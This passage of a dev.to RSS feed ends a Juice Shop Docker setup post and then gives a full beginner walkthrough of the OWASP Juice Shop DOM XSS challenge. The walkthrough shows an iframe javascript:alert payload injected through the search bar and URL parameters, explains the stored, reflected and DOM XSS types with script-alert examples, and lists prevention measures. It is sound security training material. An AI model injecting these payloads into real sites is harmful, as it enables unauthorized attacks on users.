&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker stop juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To restart it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker start juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;With Docker now easily installed and Juice Shop running, you’re ready to explore the various vulnerabilities that Juice Shop presents. The setup is designed to be accessible for all platforms, and you can now start practicing hacking. (this is a great place to start of you are interested in bug bounty "hacking")&lt;/p&gt;

&lt;p&gt;In our next post, we’ll start exploring specific challenges in Juice Shop and guide you through solving them. &lt;/p&gt;

&lt;p&gt;Hax the rubix leave the cube.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>OWASP Juice-Shop Walkthrough Tutorial [ DOM XSS ]</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Fri, 04 Oct 2024 03:46:34 +0000</pubDate>
      <link>https://dev.to/hax/owasp-juice-shop-walkthrough-tutorial-dom-xss--16lp</link>
      <guid>https://dev.to/hax/owasp-juice-shop-walkthrough-tutorial-dom-xss--16lp</guid>
      <description>&lt;h2&gt;
  
  
  DOM XSS
&lt;/h2&gt;

&lt;p&gt;Perform a &lt;em&gt;DOM&lt;/em&gt; XSS attack with &lt;code&gt;&amp;lt;iframe src="javascript:alert(&lt;/code&gt;xss&lt;code&gt;)"&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Understand the Challenge
&lt;/h3&gt;

&lt;p&gt;The challenge asks you to perform a DOM-based Cross-Site Scripting (XSS) attack using the provided payload:&lt;/p&gt;

&lt;p&gt;HTML&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert(`xss`)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;DOM XSS occurs when the client-side JavaScript code modifies the DOM based on user input in an unsafe manner, leading to script execution.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Identify Potential Injection Points
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Explore the Application&lt;/strong&gt;: Browse through different pages of the OWASP Juice Shop application. Look for places where user input is reflected in the DOM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Common Targets&lt;/strong&gt;: Check search fields, feedback forms, user profile updates, and any other areas where user data might be processed.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 3: Test the Payload
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Locate the Vulnerable Input Field&lt;/strong&gt;: The exact location can vary based on the version of the Juice Shop. Some common places to try are the search bar, the feedback form, or any parameter in the URL that might be processed by JavaScript.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inject the Payload&lt;/strong&gt;: Paste the provided payload &lt;code&gt;&amp;lt;iframe src="javascript:alert(&lt;/code&gt;xss&lt;code&gt;)&amp;gt;&lt;/code&gt; into the identified input field or parameter.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 4: Example Walkthrough (Using Search Bar)
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Navigate to the Search Bar&lt;/strong&gt;: In the OWASP Juice Shop, there is often a search functionality at the top of the page.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inject the Payload&lt;/strong&gt;: Enter the following in the search bar:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert(`xss`)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Submit the Search&lt;/strong&gt;: Press enter or click the search button.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Step 5: Observe the Results
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;If the search functionality is vulnerable to DOM XSS, the payload will be executed, and you should see an alert box with the message &lt;code&gt;xss&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If nothing happens, try other input fields or URL parameters.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 6: Verify the Challenge Completion
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The OWASP Juice Shop application will typically give you a notification or update the challenge progress once you successfully perform the DOM XSS attack.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Troubleshooting Tips
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Inspect the Page&lt;/strong&gt;: Use the browser's developer tools (right-click on the page and select "Inspect") to see how the DOM is being manipulated by JavaScript.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test Multiple Inputs&lt;/strong&gt;: If one input doesn't work, try others like the feedback form, product reviews, or user settings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check URL Parameters&lt;/strong&gt;: Sometimes, modifying URL parameters can trigger DOM-based XSS vulnerabilities.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example Using URL Parameters
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Navigate to a Page with URL Parameters&lt;/strong&gt;: For example, the product details page might have a URL like &lt;code&gt;http://your-juice-shop-url/#/product/1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Modify the URL Parameter&lt;/strong&gt;: Append the payload to a parameter in the URL, such as:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;http://your-juice-shop-url/#/product/1?query=&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"javascript:alert(`xss`)"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;http://your-juice-shop-url/#/product/1?query=&amp;lt;iframe src="javascript:alert(&lt;/code&gt;xss&lt;code&gt;)"&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Load the Page&lt;/strong&gt;: Hit enter and see if the alert box appears.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By following these steps, you should be able to find a location in the OWASP Juice Shop where the DOM XSS payload is executed, thus completing the challenge. If you still encounter issues, try looking at the application source code or using a web proxy tool to inspect the requests and responses more thoroughly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding DOM (Document Object Model)
&lt;/h3&gt;

&lt;p&gt;The Document Object Model (DOM) is a programming interface for web documents. It represents the page so that programs can change the document structure, style, and content. The DOM provides a structured representation of the document as a tree of objects. Each node in this tree represents a part of the document (e.g., an element, attribute, text content).&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Points:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Structure&lt;/strong&gt;: The DOM represents the HTML structure as a tree of nodes, with the document as the root node and elements like &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; as child nodes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interaction&lt;/strong&gt;: JavaScript can interact with and modify the DOM to dynamically change the content, style, and structure of a web page.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dynamic Updates&lt;/strong&gt;: Changes made to the DOM can update the user interface without needing to reload the page.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Understanding XSS (Cross-Site Scripting)
&lt;/h3&gt;

&lt;p&gt;Cross-Site Scripting (XSS) is a type of security vulnerability typically found in web applications. XSS allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can then execute in the context of the victim's browser, potentially leading to data theft, session hijacking, or other malicious activities.&lt;/p&gt;

&lt;h3&gt;
  
  
  Types of XSS:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Stored XSS&lt;/strong&gt;: Also known as persistent XSS, this type occurs when malicious input is stored on the server (e.g., in a database) and then served to users. For example, if a user posts a comment containing a script, and that script is executed when others view the comment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reflected XSS&lt;/strong&gt;: This type occurs when the malicious script is reflected off a web server, such as in an error message or search result, and then executed in the context of the victim's browser. It typically requires the user to click on a malicious link.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DOM-based XSS&lt;/strong&gt;: Unlike stored and reflected XSS, DOM-based XSS occurs entirely on the client side. It happens when the web application's client-side scripts process data from an untrusted source in an unsafe way, modifying the DOM and executing malicious code.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Detailed Explanation of Each XSS Type
&lt;/h3&gt;

&lt;h3&gt;
  
  
  Stored XSS
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;How It Works&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Attacker submits malicious code to a website where the input is stored (e.g., comment section, user profile, message board).&lt;/li&gt;
&lt;li&gt;The website later displays this input to other users, embedding the malicious script in the web page.&lt;/li&gt;
&lt;li&gt;When users view the affected page, the script executes in their browsers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Attacker submits a comment: &lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The comment is stored in the database.&lt;/li&gt;
&lt;li&gt;When other users load the page with the comment, the script runs, showing an alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Reflected XSS
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;How It Works&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Attacker crafts a malicious URL containing a script.&lt;/li&gt;
&lt;li&gt;Victim clicks the URL.&lt;/li&gt;
&lt;li&gt;The server processes the input and reflects it back in the response (e.g., in a search result or error message).&lt;/li&gt;
&lt;li&gt;The script executes in the victim's browser.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Malicious URL: &lt;code&gt;http://example.com/search?q=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The server includes the &lt;code&gt;q&lt;/code&gt; parameter value in the response page.&lt;/li&gt;
&lt;li&gt;When the victim visits the URL, the script runs, showing an alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  DOM-based XSS
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;How It Works&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Client-side JavaScript code dynamically updates the DOM based on user input or URL parameters.&lt;/li&gt;
&lt;li&gt;If the input is not properly sanitized, it can lead to script execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Example&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;URL: &lt;code&gt;http://example.com/#&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;JavaScript on the page reads the fragment identifier (part after &lt;code&gt;#&lt;/code&gt;) and writes it to the DOM without sanitization.&lt;/li&gt;
&lt;li&gt;The script executes, showing an alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Preventing XSS
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Sanitize Input&lt;/strong&gt;: Always validate and sanitize user inputs both on the client side and server side.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Escape Output&lt;/strong&gt;: Properly escape user-supplied data before including it in HTML, JavaScript, or other outputs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content Security Policy (CSP)&lt;/strong&gt;: Use CSP headers to restrict sources from which scripts can be loaded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use Security Libraries&lt;/strong&gt;: Utilize libraries and frameworks that automatically handle escaping and sanitization.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By understanding the types of XSS and how they can be exploited, you can better protect your web applications from these vulnerabilities. Implementing robust input validation and output escaping practices are crucial steps in securing applications against XSS attacks.&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
